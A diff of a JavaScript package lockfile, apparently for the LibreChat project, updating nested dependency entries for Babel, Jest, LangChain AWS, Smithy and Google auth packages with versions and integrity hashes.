- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@azure/core-xml/fast-xml-parser/strnum": ["strnum@2.0.5", "", {}, "sha512-YAT3K/sgpCUxhxNMrrdhtod3jckkpYwH6JAuwmUdXZsmzH1wUyzTMrrK2wYCEEqlKwrWDd35NeuUkbBy/1iK+Q=="],
+ "@babel/helper-compilation-targets/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
"@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
@@ -6695,13 +6851,17 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+ "@google/genai/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
+
+ "@google/genai/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
+
+ "@google/genai/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
"@headlessui/react/@tanstack/react-virtual/@tanstack/virtual-core": ["@tanstack/virtual-core@3.13.12", "", {}, "sha512-1YBOJfRHV4sXUmWsFSf5rQor4Ss82G8dQWLRbnk3GA4jeP8hQt1hxXh0tmflpC0dz3VgEv/1+qwPyLeWkQuPFA=="],
@@ -6711,34 +6871,16 @@
"@istanbuljs/load-nyc-config/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
- "@istanbuljs/load-nyc-config/js-yaml/argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
-
"@jest/core/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@jest/environment-jsdom-abstract/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
- "@jest/environment/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
- "@jest/environment/@jest/fake-timers/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "@jest/environment/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/expect/expect/@jest/expect-utils": ["@jest/expect-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0" } }, "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA=="],
"@jest/expect/expect/jest-matcher-utils": ["jest-matcher-utils@30.2.0", "", { "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", "jest-diff": "30.2.0", "pretty-format": "30.2.0" } }, "sha512-dQ94Nq4dbzmUWkQ0ANAWS9tBRfqCrn0bV9AMYdOi/MHW726xn7eQmMeRTpX2ViC00bpNaWXq+7o4lIQ3AX13Hg=="],
- "@jest/expect/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/expect/expect/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
- "@jest/fake-timers/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
- "@jest/fake-timers/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
-
- "@jest/globals/jest-mock/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/reporters/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+ "@jest/reporters/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"@jest/reporters/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
@@ -6773,6 +6915,12 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="],
@@ -6793,8 +6941,12 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -6809,12 +6961,16 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6835,275 +6991,21 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@langchain/google-gauth/google-auth-library/gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="],
"@langchain/google-gauth/google-auth-library/gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="],
"@langchain/google-gauth/google-auth-library/gtoken": ["gtoken@8.0.0", "", { "dependencies": { "gaxios": "^7.0.0", "jws": "^4.0.0" } }, "sha512-+CqsMbHPiSTdtSO14O51eMNlrp9N79gmeqmXeouJOhfucAedHw9noVe/n5uJk3tbKE6a+6ZCQg3RPhVhHByAIw=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-P7JD4J+wxHMpGxqIg6SHno2tPkZbBUBLbPpR5/T1DEUvw/mEaINBMaPFZNM7lA+ToSCZ36j6nMHa+5kej+fhGg=="],
